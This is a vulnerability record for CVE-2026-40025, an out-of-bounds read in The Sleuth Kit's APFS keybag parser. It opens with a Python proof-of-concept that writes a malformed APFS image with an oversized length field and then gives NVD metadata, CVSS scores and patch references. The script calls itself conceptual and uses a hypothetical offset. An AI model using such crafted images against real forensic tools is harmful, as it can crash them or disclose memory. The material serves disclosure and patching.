CVE-2026-40025

import struct import os # PoC for CVE-2026-40025: The Sleuth Kit APFS Keybag Parser Out-of-Bounds Read # This script generates a malformed APFS image to trigger the vulnerability. def generate_malformed_apfs(filename): """ Creates a minimal malformed APFS image structure. Note: This is a conceptual PoC to demonstrate the trigger mechanism. Actual exploitation requires precise binary layout matching APFS spec. """ # APFS Header Magic (0x42444750 is not APFS, using placeholder for structure) # Real APFS magic is 'NXSB' header_magic = b'NXSB' # Simplified header structure data = bytearray(4096) # 4KB block size data[0:4] = header_magic # In a real scenario, we would craft the Keybag area and specifically # the wrapped_key_parser structure. # Here we simulate the overflow condition by writing a large length # at an offset where the parser expects the keybag length. # Offset 0x200 (hypothetical keybag start) # Malicious length field (larger than buffer) malformed_length = 0xFFFFFFFF # Writing the length field (Little Endian) # This simulates the 'attacker-controlled length field' data[0x200:0x204] = struct.pack('<I', malformed_length) with open(filename, 'wb') as f: f.write(data) print(f"[+] Malformed APFS image generated: {filename}") print(f"[+] Usage: Open this file with 'fls -i raw {filename}' or similar TSK tools.") if __name__ == "__main__": generate_malformed_apfs("malicious_apfs.img")

{"cve": {"id": "CVE-2026-40025", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:22.603", "lastModified": "2026-04-15T20:52:40.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sleuth Kit through 4.14.0 contains an out-of-bounds read vulnerability in the APFS filesystem keybag parser where the wrapped_key_parser class follows attacker-controlled length fields without bounds checking, causing heap reads past the allocated buffer. An attacker can craft a malicious APFS disk image that triggers information disclosure or crashes when processed by any Sleuth Kit tool that parses APFS volumes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sleuthkit:the_sleuth_kit:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.15.0", "matchCriteriaId": "5A619301-F6A9-4151-9528-0BB27E356214"}]}]}], "references": [{"url": "https://github.com/sleuthkit/sleuthkit/commit/8b9c9e7d493bd68624f3b1a3963edd45c3ff7611", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/sleuthkit/sleuthkit/pull/3444", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://mobasi.ai/sentinel", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/sleuth-kit-apfs-keybag-parser-out-of-bounds-read", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}